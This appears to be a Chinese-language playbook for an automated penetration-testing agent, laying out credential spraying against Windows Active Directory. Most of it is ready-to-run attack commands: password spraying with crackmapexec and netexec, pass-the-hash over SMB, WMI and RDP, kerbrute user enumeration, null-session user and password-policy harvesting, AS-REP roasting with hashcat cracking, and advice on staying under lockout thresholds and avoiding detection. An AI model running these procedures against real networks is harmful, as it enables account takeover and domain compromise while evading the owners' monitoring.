Cred Spray

凭据喷洒攻击方法论

⛔ 深入参考（必读）

• 需要喷洒前的凭据枚举与收集方法 → references/pre-cred-enumeration.md

---

凭据喷洒和暴力破解不同——暴力破解是对一个账户试很多密码，凭据喷洒是用一个密码试很多账户。后者不容易触发账户锁定。

Phase 1: 凭据清点

1.1 汇总已有凭据

用 evidence_list + evidence_read（筛选凭据类型）获取已收集的所有凭据。

凭据来源总结：

1.2 构造凭据字典

将收集到的凭据整理为：

• 用户名列表
• 密码列表（明文 + 常见变体如 Password1! → Password2!）
• 哈希列表（用于 PTH）

Phase 2: 喷洒策略

2.1 密码喷洒（避免锁定）

关键原则：一次只试一个密码，等待间隔后再试下一个。

# 使用 crackmapexec 对 SMB 喷洒
cme smb 10.0.0.0/24 -u userlist.txt -p 'Password123!' --continue-on-success

# 单密码多用户（安全）
cme smb DC_IP -u userlist.txt -p 'Summer2024!' --continue-on-success

# 多密码时设置间隔（通常锁定策略是 30 分钟 5 次）
# 每次只试一个密码，间隔 35 分钟

2.2 Pass-the-Hash (PTH)

有 NTLM 哈希不需要明文密码：

# SMB
cme smb 10.0.0.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:HASH'

# WMI
cme wmi TARGET -u administrator -H HASH

# RDP (Restricted Admin 模式)
xfreerdp /v:TARGET /u:administrator /pth:HASH

2.3 多服务喷洒

同一凭据尝试不同服务：

# SSH
cme ssh 10.0.0.0/24 -u admin -p 'password'

# WinRM
cme winrm 10.0.0.0/24 -u admin -p 'password'

# MSSQL
cme mssql 10.0.0.0/24 -u sa -p 'password'

# MySQL
# MySQL（使用 nuclei 自定义模板爆破）
echo 'root' | nuclei -u mysql://10.0.0.1:3306 -t ~/nuclei-templates/brute/ 2>/dev/null || \
  mysql -h 10.0.0.1 -u root -p'password' -e "SELECT 1"

Phase 3: 结果分析

成功的凭据用 evidence_save 保存，然后评估：

• 本地管理员 → 可用于横向移动到该主机
• 域用户 → 可用于域内资源访问
• 域管理员 → 游戏结束，直接控制整个域
• 服务账户 → 可能有特殊权限（数据库/备份等）

Phase 4: 密码规律分析

从已获取的密码中寻找模式：

• 公司名+年份：Company2024!
• 季节+年份：Summer2024!, Winter2024
• 键盘模式：Qwer1234!, P@ssw0rd
• 用户名变体：john → John123!

用发现的模式生成更多候选密码进行喷洒。

注意事项

• 了解目标的账户锁定策略（net accounts /domain）
• 通常策略：5 次错误锁定 30 分钟 → 每 35 分钟最多试 4 次
• 优先喷洒高价值目标（域控/数据库/备份服务器）
• PTH 不触发账户锁定（不经过密码验证）

锁定策略感知

• 控制尝试次数在 4 次以内（低于 5 次阈值），不触发账户锁定

喷洒前置: 无凭据用户枚举与情报收集

密码喷洒的成功率取决于两个输入: 准确的用户列表和高质量的候选密码。本文档覆盖在零凭据条件下获取这两项情报的全部手段。

---

Kerbrute 用户枚举

Kerberos 协议对"用户存在"与"用户不存在"返回不同错误码 (KDC_ERR_PREAUTH_REQUIRED vs KDC_ERR_C_PRINCIPAL_UNKNOWN)，可据此判断账户是否存在。

基本用法

# 用户名字典枚举
kerbrute userenum --dc <DC_IP> -d <DOMAIN> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# 指定输出文件
kerbrute userenum --dc <DC_IP> -d <DOMAIN> users.txt -o valid_users.txt

# 通过代理执行
proxychains4 -q kerbrute userenum --dc <DC_IP> -d <DOMAIN> users.txt

提取有效用户名

kerbrute userenum --dc <DC_IP> -d <DOMAIN> users.txt 2>&1 \
  | grep "VALID" | awk '{print $7}' | cut -d'@' -f1 > valid_users.txt

隐蔽性优势

• 走 Kerberos 协议 (UDP/TCP 88)，不经过 SMB (TCP 445)
• 产生 Event ID 4768 (TGT 请求)，不产生 Event ID 4625 (登录失败)
• 大量 4768 事件在域环境中属于正常流量，不易触发告警
• 不触发账户锁定计数器

---

Null Session 机制详解

IPC$ 与 SAMR 协议

Windows 允许通过匿名连接到 IPC$ (Inter-Process Communication) 共享，再经 SAMR (Security Account Manager Remote) 协议查询域信息。

# 测试 Null Session
netexec smb <DC_IP> -u '' -p ''

# 枚举用户 (注意检查 description 字段)
netexec smb <DC_IP> -u '' -p '' --users

# 获取密码策略 (喷洒前必须获取)
netexec smb <DC_IP> -u '' -p '' --pass-pol

# RID 枚举 (更完整的用户列表)
netexec smb <DC_IP> -u '' -p '' --rid-brute

# rpcclient 枚举
rpcclient -U '' -N <DC_IP>
# enumdomusers / enumdomgroups / queryuser <RID>

Guest 账户 vs Null Session

# 测试 Guest 账户
netexec smb <DC_IP> -u 'Guest' -p ''

RestrictAnonymous 注册表影响

现代域控通常设为 1 或 2，但遗留环境、DMZ 服务器、打印服务器等可能仍为 0。

检测事件

Null Session 枚举产生:

• Event ID 4624: 匿名登录成功 (Logon Type 3)
• Event ID 4672: 特权分配 (若有)
• 网络流量中可见 SAMR 请求

---

密码描述字段发现

管理员经常在用户 description 属性中嵌入初始密码或提示。

枚举方法

# Null Session 枚举 (检查描述字段)
netexec smb <DC_IP> -u '' -p '' --users

输出示例

SMB    10.10.10.10  445  DC01  [*] Enumerated 16 users
SMB    10.10.10.10  445  DC01  Administrator
SMB    10.10.10.10  445  DC01  svc_backup (BackupPass123)    <-- 密码在描述中
SMB    10.10.10.10  445  DC01  temp_user (Password: Welcome1!)

发现嵌入密码后应立即验证:

netexec smb <DC_IP> -u 'svc_backup' -p 'BackupPass123'

---

无凭据 ASREPRoasting

原理

禁用 Kerberos 预认证 (DONT_REQ_PREAUTH) 的用户，KDC 会直接返回用其密码加密的 TGT，攻击者可离线破解。

攻击方法

# 使用用户列表 (无需任何凭证)
impacket-GetNPUsers -dc-ip <DC_IP> '<DOMAIN>/' \
  -usersfile valid_users.txt -format hashcat -outputfile asrep_hashes.txt

# 不指定用户，自动查询 (需要 LDAP 匿名访问)
impacket-GetNPUsers -dc-ip <DC_IP> '<DOMAIN>/' -request

# 通过代理执行
proxychains4 -q impacket-GetNPUsers -dc-ip <DC_IP> '<DOMAIN>/' \
  -usersfile valid_users.txt -format hashcat

Hash 格式

$krb5asrep$23$svc_backup@CORP.LOCAL:a8f2e...

破解

# Hashcat mode 18200 = Kerberos 5, etype 23, AS-REP
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# 使用规则加速
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt

与 Kerberoasting 区别

---

锁定感知喷洒策略

获取锁定策略

# 通过 Null Session
netexec smb <DC_IP> -u '' -p '' --pass-pol

# 通过 rpcclient
rpcclient -U '<USER>%<PASS>' <DC_IP> -c 'getdompwinfo'

# 通过 enum4linux
enum4linux -P <DC_IP>

关键参数:

Minimum password length: 7
Account lockout threshold: 5       <-- 5 次失败后锁定
Account lockout duration: 30 min
Reset lockout counter after: 30 min

安全喷洒原则

1. 留余量: 锁定阈值 5 次 → 每个用户最多尝试 3-4 次 2. 等间隔: 每次喷洒间隔 >= 计数器重置时间 (通常 30-35 分钟) 3. 分批处理: 大用户列表拆分，轮流喷洒

# 分批
split -l 100 valid_users.txt batch_

候选密码模式

执行喷洒

# Kerbrute (推荐，更隐蔽)
kerbrute passwordspray --dc <DC_IP> -d <DOMAIN> valid_users.txt '<PASSWORD>'

# NetExec SMB
netexec smb <DC_IP> -u valid_users.txt -p '<PASSWORD>' --continue-on-success

# 添加延迟的 Kerbrute
kerbrute passwordspray --dc <DC_IP> -d <DOMAIN> valid_users.txt '<PASSWORD>' --delay 1000

---

Kerbrute vs NetExec 对比

---

检测规避总结

最佳实践: 优先使用 Kerbrute 进行用户枚举和密码喷洒，仅在需要丰富枚举信息 (共享、策略、描述字段) 时使用 NetExec Null Session。